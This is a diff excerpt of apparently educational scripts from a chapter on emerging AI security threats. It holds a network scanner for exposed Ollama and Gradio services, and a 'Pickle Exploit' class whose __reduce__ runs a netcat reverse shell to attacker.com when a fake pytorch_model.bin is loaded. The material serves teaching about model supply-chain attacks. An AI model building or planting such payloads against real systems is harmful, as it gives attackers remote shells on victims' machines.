+                    print(f"[!] SHADOW AI DETECTED: {ip}:{port} ({service})")
+                    # Further recon: Grab the banner
+                    sock.send(b"GET / HTTP/1.1\r\n\r\n")
+                    banner = sock.recv(1024).decode('utf-8', errors='ignore')
+                    if "Ollama" in banner or "gradio" in banner:
+                        print(f"    [+] Banner Confirmed: {banner[:50]}...")
+                sock.close()
+            except Exception:
+                pass
+
+    def run(self):
+        print(f"[*] Scanning {len(self.targets)} hosts for Shadow AI services...")
+        threads = []
+        for ip in self.targets:
+            t = threading.Thread(target=self.scan_ip, args=(ip,))
+            threads.append(t)
+            t.start()
+
+        for t in threads:
+            t.join()
+
+# Usage
+# scanner = ShadowAIScanner("192.168.1.0/24")
+# scanner.run()
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()

scripts/utils/chapter_44_emerging_threats_02_utils.py

@@ -0,0 +1,36 @@
+#!/usr/bin/env python3
+"""
+44.5.1 The Pickle Exploit
+
+Source: Chapter_44_Emerging_Threats
+Category: utils
+"""
+
+import pickle
+import os
+
+import argparse
+import sys
+
+class MaliciousModel:
+    def __reduce__(self):
+        # This command runs when the victim does `torch.load('model.bin')`
+        return (os.system, ('nc -e /bin/sh attacker.com 4444',))
+
+# Generating the payload
+# payload = pickle.dumps(MaliciousModel())
+# with open('pytorch_model.bin', 'wb') as f:
+#     f.write(payload)
+
+
+def main():
+    """Command-line interface."""
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
+    args = parser.parse_args()
+    
+    # TODO: Add main execution logic
+    pass
+
+if __name__ == "__main__":
+    main()